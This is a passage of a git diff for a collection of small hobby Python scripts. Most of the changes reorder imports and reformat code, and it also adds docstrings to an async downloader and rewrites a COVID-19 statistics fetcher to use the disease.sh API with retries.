python = pyttsx3.init("sapi5") # name of the engine is set as Python
voices = python.getProperty("voices")
# print(voices)
diff --git a/VoiceAssistant/Project_Basic_struct/textRead.py b/VoiceAssistant/Project_Basic_struct/textRead.py
index bd0d147121b..f3601f7e337 100644
--- a/VoiceAssistant/Project_Basic_struct/textRead.py
+++ b/VoiceAssistant/Project_Basic_struct/textRead.py
@@ -1,11 +1,11 @@
-from speakListen import hear
-from speakListen import speak
+import time
+
import docx
import fitz
-import time
+from colorama import Fore
from rich.console import Console # pip3 install Rich
from rich.table import Table
-from colorama import Fore
+from speakListen import hear, speak
def ms_word():
@@ -54,10 +54,10 @@ def pdf_read():
)
return "None"
try:
- """ 1. Author
- 2. Creator
- 3. Producer
- 4. Title """
+ """1. Author
+ 2. Creator
+ 3. Producer
+ 4. Title"""
author = details["author"]
# print("Author : ",author)
diff --git a/VoiceAssistant/Project_Basic_struct/websiteWork.py b/VoiceAssistant/Project_Basic_struct/websiteWork.py
index e00aa89022d..dbe4ade26d7 100644
--- a/VoiceAssistant/Project_Basic_struct/websiteWork.py
+++ b/VoiceAssistant/Project_Basic_struct/websiteWork.py
@@ -1,14 +1,13 @@
-from speakListen import hear
-from speakListen import speak
-
+from speakListen import hear, speak
""" 1. speakListen.speak(text)
2. speakListen.greet()
3. speakListen.hear()
"""
-import wikipedia
import webbrowser
+import wikipedia
+
def google_search():
"""[Goes to google and searches the website asked by the user]"""
diff --git a/VoiceRepeater/__main__.py b/VoiceRepeater/__main__.py
index dc3e20a9739..b7d2db7e731 100644
--- a/VoiceRepeater/__main__.py
+++ b/VoiceRepeater/__main__.py
@@ -1,9 +1,9 @@
+import os
+import shutil
import time
-import speech_recognition as sr
-import os
import playsound
-import shutil
+import speech_recognition as sr
shutil.rmtree("spoken")
os.mkdir("spoken")
diff --git a/Weather Scrapper/weather.py b/Weather Scrapper/weather.py
index 788424522ac..1318e415821 100644
--- a/Weather Scrapper/weather.py
+++ b/Weather Scrapper/weather.py
@@ -1,15 +1,15 @@
# TODO - refactor & clean code
import csv
import time
-from datetime import datetime
-from datetime import date
+from datetime import date, datetime
+
from selenium import webdriver
-from selenium.webdriver.support.ui import WebDriverWait
-from selenium.webdriver.support import expected_conditions as EC
from selenium.webdriver.chrome.options import Options
from selenium.webdriver.common.action_chains import ActionChains
-from selenium.webdriver.common.keys import Keys
from selenium.webdriver.common.by import By
+from selenium.webdriver.common.keys import Keys
+from selenium.webdriver.support import expected_conditions as EC
+from selenium.webdriver.support.ui import WebDriverWait
# TODO - Add input checking
city = input("City >")
diff --git a/WeatherGUI.py b/WeatherGUI.py
index 62a2fef6bf8..6cbc851654d 100644
--- a/WeatherGUI.py
+++ b/WeatherGUI.py
@@ -1,10 +1,14 @@
import tkinter as tk
+
import requests
from bs4 import BeautifulSoup
+
url = "https://weather.com/en-IN/weather/today/l/32355ced66b7ce3ab7ccafb0a4f45f12e7c915bcf8454f712efa57474ba8d6c8"
root = tk.Tk()
root.title("Weather")
root.config(bg="white")
+
+
def getWeather():
page = requests.get(url)
soup = BeautifulSoup(page.content, "html.parser")
diff --git a/Web Socket.py b/Web Socket.py
index ed1a32ca08a..3d96801420e 100644
--- a/Web Socket.py
+++ b/Web Socket.py
@@ -1,6 +1,7 @@
# Program to print a data & it's Metadata of online uploaded file using "socket".
import socket
-from colorama import Fore # this module for Color the font
+
+from colorama import Fore # this module for Color the font
# handling the exceptions
try:
@@ -8,8 +9,8 @@
skt_c.connect(("data.pr4e.org", 80))
link = "GET http://data.pr4e.org/intro-short.txt HTTP/1.0\r\n\r\n".encode()
skt_c.send(link)
-except(Exception) as e:
- # this code runes on error in any connection
+except Exception as e:
+ # this code runes on error in any connection
print(Fore.RED, e, Fore.RESET)
while True:
diff --git a/Web_Scraper.py b/Web_Scraper.py
index b489b54096d..1f8fc40a5da 100644
--- a/Web_Scraper.py
+++ b/Web_Scraper.py
@@ -4,9 +4,10 @@
Requirements: selenium, BeautifulSoup
"""
+import time
+
from bs4 import BeautifulSoup
from selenium import webdriver
-import time
# url of the page we want to scrape
url = "https://www.naukri.com/top-jobs-by-designations# desigtop600"
diff --git a/Webbrowser/tk-browser.py b/Webbrowser/tk-browser.py
index fc8b6ddebac..6dce71d1c5b 100644
--- a/Webbrowser/tk-browser.py
+++ b/Webbrowser/tk-browser.py
@@ -3,9 +3,10 @@
# Written by Sina Meysami
#
+import sys
from tkinter import * # pip install tk-tools
+
import tkinterweb # pip install tkinterweb
-import sys
class Browser(Tk):
diff --git a/Wikipdedia/flask_rendering.py b/Wikipdedia/flask_rendering.py
index 4dc0432dc22..984f87c140b 100644
--- a/Wikipdedia/flask_rendering.py
+++ b/Wikipdedia/flask_rendering.py
@@ -1,5 +1,5 @@
-from flask import Flask, render_template, request
import practice_beautifulsoap as data
+from flask import Flask, render_template, request
app = Flask(__name__, template_folder="template")
diff --git a/Wikipdedia/practice_beautifulsoap.py b/Wikipdedia/practice_beautifulsoap.py
index 01938c24139..4472fb4c9ae 100644
--- a/Wikipdedia/practice_beautifulsoap.py
+++ b/Wikipdedia/practice_beautifulsoap.py
@@ -1,5 +1,5 @@
-from bs4 import BeautifulSoup
import requests
+from bs4 import BeautifulSoup
language_symbols = {}
diff --git a/WikipediaModule.py b/WikipediaModule.py
index ca28501fa41..8552f31d884 100644
--- a/WikipediaModule.py
+++ b/WikipediaModule.py
@@ -6,9 +6,10 @@
from __future__ import print_function
-import wikipedia as wk
from bs4 import BeautifulSoup
+import wikipedia as wk
+
def wiki():
"""
diff --git a/XML/HTML parsing b/XML/HTML parsing
deleted file mode 100644
index 8d8c2825e02..00000000000
--- a/XML/HTML parsing
+++ /dev/null
@@ -1,21 +0,0 @@
-dinner_recipe = '''
-amt unit item
-24 slices baguette
-2+ tbsp olive oil
-1 cup tomatoes
-1 jar pesto
-
'''
-
-# From http://effbot.org/zone/element-index.htm
-import xml.etree.ElementTree as etree
-tree = etree.fromstring(dinner_recipe)
-
-# For invalid HTML use http://effbot.org/zone/element-soup.htm
-# import ElementSoup, StringIO
-# tree = ElementSoup.parse(StringIO.StringIO(dinner_recipe))
-
-pantry = set(['olive oil', 'pesto'])
-for ingredient in tree.getiterator('tr'):
- amt, unit, item = ingredient
- if item.tag == "td" and item.text not in pantry:
- print ("%s: %s %s" % (item.text, amt.text, unit.text))
diff --git a/Youtube Downloader With GUI/main.py b/Youtube Downloader With GUI/main.py
index b21e4495a99..d238d7618e8 100644
--- a/Youtube Downloader With GUI/main.py
+++ b/Youtube Downloader With GUI/main.py
@@ -1,11 +1,12 @@
# libraraies
-from pytube import *
import os
+from threading import *
from tkinter import *
from tkinter.filedialog import *
from tkinter.messagebox import *
-from threading import *
+
+from pytube import *
file_size = 0
diff --git a/Recursion Visulaizer/git b/aaa.txt
similarity index 100%
rename from Recursion Visulaizer/git
rename to aaa.txt
diff --git a/advanced_calculator.py b/advanced_calculator.py
index c7021f6a608..3037b5682b1 100644
--- a/advanced_calculator.py
+++ b/advanced_calculator.py
@@ -10,11 +10,11 @@
# How can I market gtts? Like showing used google's api? This is how can I market it?
# Project description? What will be the project description?
-from gtts import gTTS
-from pygame import mixer, time
from io import BytesIO
from pprint import pprint
+from gtts import gTTS
+from pygame import mixer, time
# Find the best of best extensions for the auto generation of the documentation parts.
# For your favourite languages like JavaScript, Python ,etc,...
diff --git a/agecalculator.py b/agecalculator.py
index 86813e30f9f..3b4ca5958e6 100644
--- a/agecalculator.py
+++ b/agecalculator.py
@@ -1,7 +1,8 @@
-from _datetime import datetime
import tkinter as tk
from tkinter import ttk
+
from _datetime import *
+from _datetime import datetime
win = tk.Tk()
win.title("Age Calculate")
diff --git a/async_downloader/async_downloader.py b/async_downloader/async_downloader.py
index 4f715048905..17fc186b8e8 100644
--- a/async_downloader/async_downloader.py
+++ b/async_downloader/async_downloader.py
@@ -12,6 +12,14 @@
def download(ways):
+ """
+ Download all files from the given list of URLs.
+
+ Args:
+ ways (list): A list of URL strings to download.
+
+ Prints progress and final summary of succeeded/failed downloads.
+ """
if not ways:
print("Ways list is empty. Downloading is impossible")
return
@@ -21,13 +29,10 @@ def download(ways):
success_files = set()
failure_files = set()
- event_loop = asyncio.get_event_loop()
- try:
- event_loop.run_until_complete(
- async_downloader(ways, event_loop, success_files, failure_files)
- )
- finally:
- event_loop.close()
+ # asyncio.run() creates a new event loop, runs the coroutine,
+ # and closes the loop automatically – this fixes the
+ # "no current event loop" error in Python 3.10+.
+ asyncio.run(async_downloader(ways, success_files, failure_files))
print("Download complete")
print("-" * 100)
@@ -43,19 +48,22 @@ def download(ways):
print(file)
-async def async_downloader(ways, loop, success_files, failure_files):
+async def async_downloader(ways, success_files, failure_files):
+ """
+ Asynchronously download multiple files using aiohttp.
+
+ Args:
+ ways (list): List of URL strings.
+ success_files (set): Set to collect successful URLs.
+ failure_files (set): Set to collect failed URLs.
+ """
async with aiohttp.ClientSession() as session:
- coroutines = [
- download_file_by_url(
- url,
- session=session,
- )
- for url in ways
- ]
+ # Create a coroutine for each URL
+ coroutines = [download_file_by_url(url, session=session) for url in ways]
+ # Process tasks as they complete
for task in asyncio.as_completed(coroutines):
fail, url = await task
-
if fail:
failure_files.add(url)
else:
@@ -63,59 +71,63 @@ async def async_downloader(ways, loop, success_files, failure_files):
async def download_file_by_url(url, session=None):
+ """
+ Download a single file from a URL and save it locally.
+
+ Args:
+ url (str): The URL to download.
+ session (aiohttp.ClientSession): The session to use for the request.
+
+ Returns:
+ tuple: (fail, url) where fail is True if download failed, else False.
+ """
fail = True
file_name = basename(url)
- assert session
+ # Ensure a valid session is provided
+ assert session, "aiohttp session is required"
try:
async with session.get(url) as response:
+ # Handle 404 specifically
if response.status == 404:
- print(
- "\t{} from {} : Failed : {}".format(
- file_name, url, "404 - Not found"
- )
- )
+ print(f"\t{file_name} from {url} : Failed : 404 - Not found")
return fail, url
- if not response.status == 200:
+ # Any non-200 status is considered a failure
+ if response.status != 200:
print(
- "\t{} from {} : Failed : HTTP response {}".format(
- file_name, url, response.status
- )
+ f"\t{file_name} from {url} : Failed : HTTP response {response.status}"
)
return fail, url
+ # Read and save the content
data = await response.read()
-
with open(file_name, "wb") as file:
file.write(data)
except asyncio.TimeoutError:
- print("\t{} from {}: Failed : {}".format(file_name, url, "Timeout error"))
+ print(f"\t{file_name} from {url}: Failed : Timeout error")
except aiohttp.client_exceptions.ClientConnectionError:
- print(
- "\t{} from {}: Failed : {}".format(
- file_name, url, "Client connection error"
- )
- )
+ print(f"\t{file_name} from {url}: Failed : Client connection error")
else:
- print("\t{} from {} : Success".format(file_name, url))
+ # No exception occurred – download succeeded
+ print(f"\t{file_name} from {url} : Success")
fail = False
return fail, url
def test():
+ """Test the downloader with a list of sample URLs."""
ways = [
"https://www.wikipedia.org",
"https://www.ya.ru",
"https://www.duckduckgo.com",
"https://www.fail-path.unknown",
]
-
download(ways)
diff --git a/automail.py b/automail.py
index c7a3f7ed236..2b765ef7ee9 100644
--- a/automail.py
+++ b/automail.py
@@ -2,10 +2,11 @@
# simple simon says module that interacts with google API to read the subject line of an email and respond to "Simon says:"
# DO NOT FORGET TO ADD CREDENTIALS.JSON AND TOKEN.JSON TO .GITIGNORE!!!
-import ezgmail
import re
import time
+import ezgmail
+
check = True
while check:
recThreads = ezgmail.recent()
diff --git a/bank_managment_system/QTFrontend.py b/bank_managment_system/QTFrontend.py
index f1b5523f789..a947ca4378f 100644
--- a/bank_managment_system/QTFrontend.py
+++ b/bank_managment_system/QTFrontend.py
@@ -1,6 +1,7 @@
-from PyQt5 import QtCore, QtGui, QtWidgets
import sys
+
import backend
+from PyQt5 import QtCore, QtGui, QtWidgets
backend.connect_database()
diff --git a/bank_managment_system/backend.py b/bank_managment_system/backend.py
index 081d4d3d551..4ee25472ce1 100644
--- a/bank_managment_system/backend.py
+++ b/bank_managment_system/backend.py
@@ -1,5 +1,5 @@
-import sqlite3
import os
+import sqlite3
class DatabaseManager:
diff --git a/batch_file_rename.py b/batch_file_rename.py
index 05fa7391916..e0a9d182ad1 100644
--- a/batch_file_rename.py
+++ b/batch_file_rename.py
@@ -6,7 +6,7 @@
def batch_rename(work_dir, old_ext, new_ext, dry_run=False):
"""
Batch rename files in a directory from one extension to another.
-
+
Args:
work_dir (str): Path to the target directory.
old_ext (str): Extension to find (e.g., '.txt' or '.tar.gz').
@@ -25,7 +25,7 @@ def batch_rename(work_dir, old_ext, new_ext, dry_run=False):
new_ext = "." + new_ext
print(f"[*] Scanning {work_dir} for files with extension '{old_ext}'...")
-
+
found_files = list(work_path.glob(f"*{old_ext}"))
if not found_files:
print(f"[!] No files found with extension '{old_ext}'.")
@@ -34,13 +34,16 @@ def batch_rename(work_dir, old_ext, new_ext, dry_run=False):
for file_path in found_files:
# Handle compound extensions by checking ends-with
if file_path.name.endswith(old_ext):
- new_name = file_path.name[:-len(old_ext)] + new_ext
+ new_name = file_path.name[: -len(old_ext)] + new_ext
new_file_path = file_path.with_name(new_name)
else:
new_file_path = file_path.with_suffix(new_ext)
-
+
if new_file_path.exists():
- print(f"[!] Skip: {new_file_path.name} already exists. Cannot rename {file_path.name}.", file=sys.stderr)
+ print(
+ f"[!] Skip: {new_file_path.name} already exists. Cannot rename {file_path.name}.",
+ file=sys.stderr,
+ )
continue
if dry_run:
@@ -68,12 +71,8 @@ def get_parser():
"work_dir",
help="The directory where to change extension",
)
- parser.add_argument(
- "old_ext", help="Old extension (e.g., .txt or txt)"
- )
- parser.add_argument(
- "new_ext", help="New extension (e.g., .md or md)"
- )
+ parser.add_argument("old_ext", help="Old extension (e.g., .txt or txt)")
+ parser.add_argument("new_ext", help="New extension (e.g., .md or md)")
parser.add_argument(
"--dry-run",
action="store_true",
diff --git a/billing.py b/billing.py
index 451135cc91c..72f7420a06a 100644
--- a/billing.py
+++ b/billing.py
@@ -1,4 +1,3 @@
-
items = {"apple": 5, "soap": 4, "soda": 6, "pie": 7, "cake": 20}
total_price = 0
try:
diff --git a/binary_search_trees/delete_a_node_in_bst.py b/binary_search_trees/delete_a_node_in_bst.py
index 8d144cba4ac..822e0f29e0d 100644
--- a/binary_search_trees/delete_a_node_in_bst.py
+++ b/binary_search_trees/delete_a_node_in_bst.py
@@ -1,4 +1,5 @@
from typing import Optional
+
from inorder_successor import inorder_successor
from tree_node import Node
diff --git a/binary_search_trees/inorder_traversal.py b/binary_search_trees/inorder_traversal.py
index b63b01dbb28..cbac1615c25 100644
--- a/binary_search_trees/inorder_traversal.py
+++ b/binary_search_trees/inorder_traversal.py
@@ -1,4 +1,5 @@
from typing import Optional
+
from tree_node import Node
diff --git a/binary_search_trees/insert_in_bst.py b/binary_search_trees/insert_in_bst.py
index 8201261ae1b..bd9e81b12b6 100644
--- a/binary_search_trees/insert_in_bst.py
+++ b/binary_search_trees/insert_in_bst.py
@@ -1,4 +1,5 @@
from typing import Optional
+
from tree_node import Node
diff --git a/binary_search_trees/main.py b/binary_search_trees/main.py
index f2f618920e4..1216f4681fe 100644
--- a/binary_search_trees/main.py
+++ b/binary_search_trees/main.py
@@ -1,12 +1,13 @@
from typing import Optional
-from insert_in_bst import insert
+
from delete_a_node_in_bst import delete_node
-from search_in_bst import search
+from insert_in_bst import insert
from mirror_a_bst import create_mirror_bst
from print_in_range import print_in_range
from root_to_leaf_paths import print_root_to_leaf_paths
-from validate_bst import is_valid_bst
+from search_in_bst import search
from tree_node import Node
+from validate_bst import is_valid_bst
def main() -> None:
diff --git a/binary_search_trees/mirror_a_bst.py b/binary_search_trees/mirror_a_bst.py
index 579b7766092..45436e29098 100644
--- a/binary_search_trees/mirror_a_bst.py
+++ b/binary_search_trees/mirror_a_bst.py
@@ -1,4 +1,5 @@
from typing import Optional
+
from tree_node import Node
diff --git a/binary_search_trees/print_in_range.py b/binary_search_trees/print_in_range.py
index 351c81422f8..c2090fba09b 100644
--- a/binary_search_trees/print_in_range.py
+++ b/binary_search_trees/print_in_range.py
@@ -1,4 +1,5 @@
from typing import Optional
+
from tree_node import Node
diff --git a/binary_search_trees/root_to_leaf_paths.py b/binary_search_trees/root_to_leaf_paths.py
index ad30892886c..e2d65a0a0e7 100644
--- a/binary_search_trees/root_to_leaf_paths.py
+++ b/binary_search_trees/root_to_leaf_paths.py
@@ -1,4 +1,5 @@
-from typing import Optional, List
+from typing import List, Optional
+
from tree_node import Node
diff --git a/binary_search_trees/search_in_bst.py b/binary_search_trees/search_in_bst.py
index c5675a6a558..903af465dfe 100644
--- a/binary_search_trees/search_in_bst.py
+++ b/binary_search_trees/search_in_bst.py
@@ -1,4 +1,5 @@
from typing import Optional
+
from tree_node import Node
diff --git a/binary_search_trees/validate_bst.py b/binary_search_trees/validate_bst.py
index 186c8fbc039..a20936a5232 100644
--- a/binary_search_trees/validate_bst.py
+++ b/binary_search_trees/validate_bst.py
@@ -1,4 +1,5 @@
from typing import Optional
+
from tree_node import Node
diff --git a/binod.py b/binod.py
index 2bee72de9d6..a4e199acc7d 100644
--- a/binod.py
+++ b/binod.py
@@ -7,11 +7,12 @@
# def checkBinod(file):
# =======
+import os
+
# def checkBinod(file): #this function will check there is any 'Binod' text in file or not
# with open(file, "r") as f: #we are opening file in read mode and using 'with' so need to take care of close()
# =======
import time
-import os
# Importing our Bindoer
print("To Kaise Hai Ap Log!")
diff --git a/blackJackGUI.py b/blackJackGUI.py
index a67e6e06717..5ce2d20d2db 100644
--- a/blackJackGUI.py
+++ b/blackJackGUI.py
@@ -1,5 +1,7 @@
from __future__ import print_function
+
import random
+
import simplegui
CARD_SIZE = (72, 96)
diff --git a/blackjack.py b/blackjack.py
index 05f25e1f215..2939ff4fa61 100644
--- a/blackjack.py
+++ b/blackjack.py
@@ -84,7 +84,9 @@ def dealer_choice():
if k == "1":
random.shuffle(deck)
p_cards.append(deck.pop())
- print("You have a total of " + str(sum(p_cards)) + " with the cards ", p_cards)
+ print(
+ "You have a total of " + str(sum(p_cards)) + " with the cards ", p_cards
+ )
if sum(p_cards) > 21:
print("*************You are BUSTED !*************\n Dealer Wins !!")
diff --git a/bookstore_manangement_system.py b/bookstore_manangement_system.py
index 9ef2809337b..58df07fdde1 100644
--- a/bookstore_manangement_system.py
+++ b/bookstore_manangement_system.py
@@ -1,6 +1,5 @@
import os
-
import mysql.connector as mys
mycon = mys.connect(
diff --git a/calc_area.py b/calc_area.py
index 29fb370cd4a..12ce26ffdcf 100644
--- a/calc_area.py
+++ b/calc_area.py
@@ -1,6 +1,8 @@
# Author: PrajaktaSathe
# Program to calculate the area of - square, rectangle, circle, and triangle -
import math as m
+
+
def main():
shape = int(
input(
diff --git a/calculator-gui.py b/calculator-gui.py
index fa9befa47f0..3e4256d8ed9 100755
--- a/calculator-gui.py
+++ b/calculator-gui.py
@@ -1,7 +1,6 @@
# ==================== Libraries ====================
import tkinter as tk
-from tkinter import ttk
-from tkinter import messagebox
+from tkinter import messagebox, ttk
# ===================================================
# ==================== Classes ======================
diff --git a/calculator.py b/calculator.py
index ff456112afa..c10c530acd9 100644
--- a/calculator.py
+++ b/calculator.py
@@ -25,10 +25,10 @@
import sys
-## Imported math library to run sin(), cos(), tan() and other such functions in the calculator
-
from fileinfo import raw_input
+## Imported math library to run sin(), cos(), tan() and other such functions in the calculator
+
def calc(term):
"""
diff --git a/check if a number positive , negative or zero b/check if a number positive , negative or zero
deleted file mode 100644
index c47cda8ae78..00000000000
--- a/check if a number positive , negative or zero
+++ /dev/null
@@ -1,16 +0,0 @@
-num = float(input("Enter a number: "))
-if num > 0:
- print("Positive number")
-elif num == 0:
- print("Zero")
-else:
- print("Negative number")
- num = float(input("Enter a number: "))
-if num >= 0:
- if num == 0:
- print("Zero")
- else:
- print("Positive number")
-else:
- print("Negative number")
-
diff --git a/check if a number positive,negative or zero.py b/check if a number positive,negative or zero.py
new file mode 100644
index 00000000000..48deaebeafa
--- /dev/null
+++ b/check if a number positive,negative or zero.py
@@ -0,0 +1,15 @@
+num = float(input("Enter a number: "))
+if num > 0:
+ print("Positive number")
+elif num == 0:
+ print("Zero")
+else:
+ print("Negative number")
+ num = float(input("Enter a number: "))
+if num >= 0:
+ if num == 0:
+ print("Zero")
+ else:
+ print("Positive number")
+else:
+ print("Negative number")
diff --git a/check_file.py b/check_file.py
index 65da90b2f17..6498f5877c6 100644
--- a/check_file.py
+++ b/check_file.py
@@ -13,7 +13,6 @@
import os # Import the Modules
import sys # Import the Modules
-
# Prints usage if not appropriate length of arguments are provided
diff --git a/check_for_sqlite_files.py b/check_for_sqlite_files.py
index 556d348f8af..f626ec38859 100644
--- a/check_for_sqlite_files.py
+++ b/check_for_sqlite_files.py
@@ -14,7 +14,7 @@
def isSQLite3(filename):
- from os.path import isfile, getsize
+ from os.path import getsize, isfile
if not isfile(filename):
return False
diff --git a/cicd b/cicd
deleted file mode 100644
index 8b137891791..00000000000
--- a/cicd
+++ /dev/null
@@ -1 +0,0 @@
-
diff --git a/class.dat b/class.dat
deleted file mode 100644
index 98ba2109892..00000000000
Binary files a/class.dat and /dev/null differ
diff --git a/cli_master/cli_master.py b/cli_master/cli_master.py
index df2ecf799d1..973a22ae8dc 100644
--- a/cli_master/cli_master.py
+++ b/cli_master/cli_master.py
@@ -2,7 +2,6 @@
import sys
from pprint import pprint
-
sys.path.append(os.path.realpath("."))
import inquirer
diff --git a/colorma_as_color.py b/colorma_as_color.py
index 345f2043697..a6cbd8725da 100644
--- a/colorma_as_color.py
+++ b/colorma_as_color.py
@@ -1,4 +1,4 @@
-from colorama import Fore, Back, Style
+from colorama import Back, Fore, Style
print(Fore.RED + "some red text")
print(Back.GREEN + "and with a green background")
diff --git a/cricket_news.py b/cricket_news.py
index 8c78c1820e6..b5c6405a28f 100644
--- a/cricket_news.py
+++ b/cricket_news.py
@@ -1,6 +1,6 @@
-from bs4 import BeautifulSoup
-import requests
import pyttsx3
+import requests
+from bs4 import BeautifulSoup
engine = pyttsx3.init()
voices = engine.getProperty("voices")
diff --git a/currency converter/main.py b/currency converter/main.py
index 51c80445791..8327b73056a 100644
--- a/currency converter/main.py
+++ b/currency converter/main.py
@@ -1,11 +1,10 @@
# cc program
-from PyQt5.QtGui import *
-from PyQt5.QtCore import *
-from PyQt5.QtWidgets import *
-from PyQt5 import QtWidgets, uic
-from PyQt5.QtCore import *
import httpx
from bs4 import BeautifulSoup
+from PyQt5 import QtWidgets, uic
+from PyQt5.QtCore import *
+from PyQt5.QtGui import *
+from PyQt5.QtWidgets import *
def getVal(cont1, cont2):
diff --git a/daily_horoscope.py b/daily_horoscope.py
index 04669971819..556be32753c 100644
--- a/daily_horoscope.py
+++ b/daily_horoscope.py
@@ -1,5 +1,5 @@
-from bs4 import BeautifulSoup
import requests
+from bs4 import BeautifulSoup
"""
this check_sign function checks and returns the zodiac sign
diff --git a/days_from_date.py b/days_from_date.py
index 61f09cc81fe..938c0b7adec 100644
--- a/days_from_date.py
+++ b/days_from_date.py
@@ -1,6 +1,6 @@
-import re # regular expressions
import calendar # module of python to provide useful fucntions related to calendar
import datetime # module of python to get the date and time
+import re # regular expressions
import tkinter as tk
root = tk.Tk()
diff --git a/depreciated_programs/corona_cases.py b/depreciated_programs/corona_cases.py
index e93e7cd99f9..4f7f4d60987 100644
--- a/depreciated_programs/corona_cases.py
+++ b/depreciated_programs/corona_cases.py
@@ -1,97 +1,171 @@
+#!/usr/bin/env python3
+# -*- coding: utf-8 -*-
+
+"""
+corona_cases.py – COVID-19 Data Fetcher (using disease.sh API)
+
+This script retrieves real-time global and country-specific COVID-19 statistics
+from the public disease.sh API (https://disease.sh) and displays them
+in a user-friendly terminal interface with ASCII art.
+
+API Endpoints:
+ - Global: https://disease.sh/v3/covid-19/all
+ - India: https://disease.sh/v3/covid-19/countries/India
+
+Usage:
+ python corona_cases.py
+
+Interactions:
+ - Enter '1' to view global statistics.
+ - Enter '2' to view statistics for India.
+ - Any other input will prompt for re-entry.
+"""
+
import sys
+import time
+
+import requests
+
+# API endpoints
+GLOBAL_API = "https://disease.sh/v3/covid-19/all"
+INDIA_API = "https://disease.sh/v3/covid-19/countries/India"
+TIMEOUT = 10 # seconds
+MAX_RETRIES = 3 # number of attempts before giving up
+
+
+def fetch_data(url, description="data"):
+ """
+ Fetch COVID-19 data from a given URL with retries.
+
+ Args:
+ url (str): The API endpoint.
+ description (str): A human-readable description for logging.
-try:
- import requests
-except ImportError:
- print("Please Install Requests Module With Command 'pip install requests'")
- sys.exit(1)
-from time import sleep
-
-url = "https://api.covid19api.com/summary"
-visit = requests.get(url).json()
-
-NewConfirmed = visit["Global"]["NewConfirmed"]
-TotalConfirmed = visit["Global"]["TotalConfirmed"]
-NewDeaths = visit["Global"]["NewDeaths"]
-TotalDeaths = visit["Global"]["TotalDeaths"]
-NewRecovered = visit["Global"]["NewRecovered"]
-TotalRecovered = visit["Global"]["TotalRecovered"]
-
-india = visit["Countries"]
-name = india[76]["Country"]
-indiaconfirmed = india[76]["NewConfirmed"]
-indiatotal = india[76]["TotalConfirmed"]
-indiaDeaths = india[76]["NewDeaths"]
-deathstotal = india[76]["TotalDeaths"]
-indianewr = india[76]["NewRecovered"]
-totalre = india[76]["TotalRecovered"]
-DateUpdate = india[76]["Date"]
-
-
-def world():
- world = f"""
+ Returns:
+ dict: Parsed JSON response.
+
+ Raises:
+ SystemExit: If all retries fail.
+ """
+ for attempt in range(1, MAX_RETRIES + 1):
+ try:
+ response = requests.get(url, timeout=TIMEOUT)
+ response.raise_for_status()
+ return response.json()
+ except requests.exceptions.RequestException as e:
+ print(f"Attempt {attempt}/{MAX_RETRIES} to fetch {description} failed: {e}")
+ if attempt < MAX_RETRIES:
+ wait = 2**attempt
+ print(f"Retrying in {wait} seconds...")
+ time.sleep(wait)
+ else:
+ print(f"❌ Unable to fetch {description} after multiple attempts.")
+ sys.exit(1)
+
+
+def format_world_stats(data):
+ """
+ Format global statistics into a human-readable string with ASCII art.
+
+ Args:
+ data (dict): Global data from disease.sh API.
+
+ Returns:
+ str: Formatted string containing global stats.
+ """
+ ascii_art = """
▀▀█▀▀ █▀▀█ ▀▀█▀▀ █▀▀█ █░░ ▒█▀▀█ █▀▀█ █▀▀ █▀▀ █▀▀ ▀█▀ █▀▀▄ ▒█░░▒█ █▀▀█ █▀▀█ █░░ █▀▀▄
░▒█░░ █░░█ ░░█░░ █▄▄█ █░░ ▒█░░░ █▄▄█ ▀▀█ █▀▀ ▀▀█ ▒█░ █░░█ ▒█▒█▒█ █░░█ █▄▄▀ █░░ █░░█
-░▒█░░ ▀▀▀▀ ░░▀░░ ▀░░▀ ▀▀▀ ▒█▄▄█ ▀░░▀ ▀▀▀ ▀▀▀ ▀▀▀ ▄█▄ ▀░░▀ ▒█▄▀▄█ ▀▀▀▀ ▀░▀▀ ▀▀▀ ▀▀▀░\n
-New Confirmed Cases :- {NewConfirmed}
-Total Confirmed Cases :- {TotalConfirmed}
-New Deaths :- {NewDeaths}
-Total Deaths :- {TotalDeaths}
-New Recovered :- {NewRecovered}
-Total Recovered :- {TotalRecovered}
+░▒█░░ ▀▀▀▀ ░░▀░░ ▀░░▀ ▀▀▀ ▒█▄▄█ ▀░░▀ ▀▀▀ ▀▀▀ ▀▀▀ ▄█▄ ▀░░▀ ▒█▄▀▄█ ▀▀▀▀ ▀░▀▀ ▀▀▀ ▀▀▀░
+"""
+ stats = (
+ f"New Confirmed Cases :- {data.get('todayCases', 0)}\n"
+ f"Total Confirmed Cases :- {data.get('cases', 0)}\n"
+ f"New Deaths :- {data.get('todayDeaths', 0)}\n"
+ f"Total Deaths :- {data.get('deaths', 0)}\n"
+ f"New Recovered :- {data.get('todayRecovered', 0)}\n"
+ f"Total Recovered :- {data.get('recovered', 0)}\n"
+ f"Active Cases :- {data.get('active', 0)}\n"
+ f"Critical Cases :- {data.get('critical', 0)}"
+ )
+ return f"{ascii_art}\n{stats}"
+
+
+def format_india_stats(data):
"""
- print(world)
+ Format India's statistics into a human-readable string with ASCII art.
+ Args:
+ data (dict): India data from disease.sh API.
-def india():
- cases = f"""
+ Returns:
+ str: Formatted string containing India's stats.
+ """
+ ascii_art = """
██╗███╗░░██╗██████╗░██╗░█████╗░
██║████╗░██║██╔══██╗██║██╔══██╗
██║██╔██╗██║██║░░██║██║███████║
██║██║╚████║██║░░██║██║██╔══██║
██║██║░╚███║██████╔╝██║██║░░██║
╚═╝╚═╝░░╚══╝╚═════╝░╚═╝╚═╝░░╚═╝
-
-Country Name :- {name}
-New Confirmed Cases :- {indiaonfirmed}
-Total Confirmed Cases :- {indiatotal}
-New Deaths :- {indiaDeaths}
-Total Deaths :- {deathstotal}
-New Recovered :- {indianewr}
-Total Recovered :- {totalre}
-Information Till :- {DateUpdate}
"""
- print(cases)
-
-
-print(
+ stats = (
+ f"Country Name :- {data.get('country', 'India')}\n"
+ f"New Confirmed Cases :- {data.get('todayCases', 0)}\n"
+ f"Total Confirmed Cases :- {data.get('cases', 0)}\n"
+ f"New Deaths :- {data.get('todayDeaths', 0)}\n"
+ f"Total Deaths :- {data.get('deaths', 0)}\n"
+ f"New Recovered :- {data.get('todayRecovered', 0)}\n"
+ f"Total Recovered :- {data.get('recovered', 0)}\n"
+ f"Active Cases :- {data.get('active', 0)}\n"
+ f"Critical Cases :- {data.get('critical', 0)}\n"
+ f"Information Till :- {data.get('updated', '')}"
+ )
+ return f"{ascii_art}\n{stats}"
+
+
+def main():
"""
+ Main interactive loop: fetch data, display menu, and show selected stats.
+ """
+ print("🌐 Fetching latest COVID-19 data...")
+ global_data = fetch_data(GLOBAL_API, "global data")
+ india_data = fetch_data(INDIA_API, "India data")
+
+ # Print the big title
+ title_art = """
░█████╗░░█████╗░██████╗░░█████╗░███╗░░██╗░█████╗░ ██╗░░░██╗██╗██████╗░██╗░░░██╗░██████╗
